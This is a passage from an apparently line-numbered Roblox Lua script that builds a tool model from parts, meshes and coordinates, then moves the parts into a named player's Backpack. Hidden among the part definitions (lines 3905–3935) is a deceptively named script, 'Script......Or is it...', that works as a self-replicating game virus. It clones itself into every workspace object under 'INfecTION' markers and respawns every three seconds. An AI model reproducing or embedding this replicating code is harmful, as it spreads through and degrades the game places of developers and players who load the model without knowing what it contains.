  3842. Part327.CFrame = CFrame.new(27.15271, 1.47119105, 138.322876, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3843. Part327.BottomSurface = Enum.SurfaceType.Smooth
  3844. Part327.TopSurface = Enum.SurfaceType.Smooth
  3845. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3846. Part327.Position = Vector3.new(27.15271, 1.47119105, 138.322876)
  3847. Part327.Orientation = Vector3.new(0, -0.539999962, 0)
  3848. Part327.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3849. BlockMesh328.Parent = Part327
  3850. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3851. BlockMesh328.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3852. Part329.Parent = Tool0
  3853. Part329.Material = Enum.Material.SmoothPlastic
  3854. Part329.BrickColor = BrickColor.new("Dark stone grey")
  3855. Part329.Rotation = Vector3.new(-90, 0, 89.4599991)
  3856. Part329.Anchored = true
  3857. Part329.FormFactor = Enum.FormFactor.Custom
  3858. Part329.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3859. Part329.CFrame = CFrame.new(27.1530762, 1.693115, 138.323853, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3860. Part329.BottomSurface = Enum.SurfaceType.Smooth
  3861. Part329.TopSurface = Enum.SurfaceType.Smooth
  3862. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3863. Part329.Position = Vector3.new(27.1530762, 1.693115, 138.323853)
  3864. Part329.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3865. Part329.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3866. CylinderMesh330.Parent = Part329
  3867. CylinderMesh330.Offset = Vector3.new(0, 0, -0.0360000022)
  3868. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3869. CylinderMesh330.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3870. Part331.Parent = Tool0
  3871. Part331.Material = Enum.Material.SmoothPlastic
  3872. Part331.BrickColor = BrickColor.new("Dark stone grey")
  3873. Part331.Rotation = Vector3.new(-90, 0, 89.4599991)
  3874. Part331.Anchored = true
  3875. Part331.FormFactor = Enum.FormFactor.Custom
  3876. Part331.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3877. Part331.CFrame = CFrame.new(27.0330811, 1.693115, 138.321472, 0.00939139724, -0.999955833, -2.45538843e-08, 3.55030458e-08, 1.02097069e-07, 0.999999821, -0.999955356, -0.00939165056, 3.52667371e-08)
  3878. Part331.BottomSurface = Enum.SurfaceType.Smooth
  3879. Part331.TopSurface = Enum.SurfaceType.Smooth
  3880. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3881. Part331.Position = Vector3.new(27.0330811, 1.693115, 138.321472)
  3882. Part331.Orientation = Vector3.new(-89.9700012, -34.8499985, 19.1700001)
  3883. Part331.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3884. CylinderMesh332.Parent = Part331
  3885. CylinderMesh332.Offset = Vector3.new(0, 0, -0.0360000022)
  3886. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3887. CylinderMesh332.Scale = Vector3.new(0.329999983, 0.149999991, 0.329999983)
  3888. Part333.Parent = Tool0
  3889. Part333.Material = Enum.Material.SmoothPlastic
  3890. Part333.BrickColor = BrickColor.new("Dark stone grey")
  3891. Part333.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3892. Part333.Anchored = true
  3893. Part333.FormFactor = Enum.FormFactor.Custom
  3894. Part333.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3895. Part333.CFrame = CFrame.new(27.0773926, 1.63916004, 138.345764, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3896. Part333.BottomSurface = Enum.SurfaceType.Smooth
  3897. Part333.TopSurface = Enum.SurfaceType.Smooth
  3898. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3899. Part333.Position = Vector3.new(27.0773926, 1.63916004, 138.345764)
  3900. Part333.Orientation = Vector3.new(-45, -90.5400009, 180)
  3901. Part333.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3902. BlockMesh334.Parent = Part333
  3903. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3904. BlockMesh334.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3905. Script335.Name = "Script......Or is it..."
  3906. Script335.Parent = mas
  3907. table.insert(cors,sandbox(Script335,function()
  3908. if script.Parent.className ~= "RotateP" then
  3909. local p = Instance.new("RotateP")
  3910. p.Parent = workspace
  3911. p.Name = "INfecTION"
  3912. script.Parent = p
  3913. end
  3914.  
  3915. function check()
  3916. local list = workspace:GetChildren()
  3917. for i = 1, #list do
  3918. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3919. script.Parent:Clone().Parent = list[i]
  3920. end
  3921. wait()
  3922. end
  3923. end
  3924.  
  3925. while true do
  3926. check()
  3927. if workspace:findFirstChild("inFECtion") == nil then
  3928. local main = script.Parent:Clone()
  3929. main.Name = "inFECtion"
  3930. main.Parent = workspace
  3931. end
  3932. wait(3)
  3933. end
  3934.  
  3935. end))
  3936. Part336.Name = "AimPart"
  3937. Part336.Parent = Tool0
  3938. Part336.Material = Enum.Material.SmoothPlastic
  3939. Part336.Transparency = 1
  3940. Part336.Rotation = Vector3.new(-180, 0.539999962, -180)
  3941. Part336.Anchored = true
  3942. Part336.FormFactor = Enum.FormFactor.Custom
  3943. Part336.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3944. Part336.CFrame = CFrame.new(27.0975342, 1.63012695, 137.699341, -0.999955297, 0, 0.00939147174, 0, 1, 0, -0.00939147174, 0, -0.999955297)
  3945. Part336.BottomSurface = Enum.SurfaceType.Smooth
  3946. Part336.TopSurface = Enum.SurfaceType.Smooth
  3947. Part336.Position = Vector3.new(27.0975342, 1.63012695, 137.699341)
  3948. Part336.Orientation = Vector3.new(0, 179.459991, 0)
  3949. BlockMesh337.Parent = Part336
  3950. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  3951. BlockMesh337.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  3952. for i,v in pairs(mas:GetChildren()) do
  3953. v.Parent = game:GetService("Players").Darkraiii7.Backpack
  3954. pcall(function() v:MakeJoints() end)
  3955. end
  3956. mas:Destroy()
  3957. for i,v in pairs(cors) do
  3958. spawn(function()
  3959. pcall(v)
  3960. end)
  3961. end
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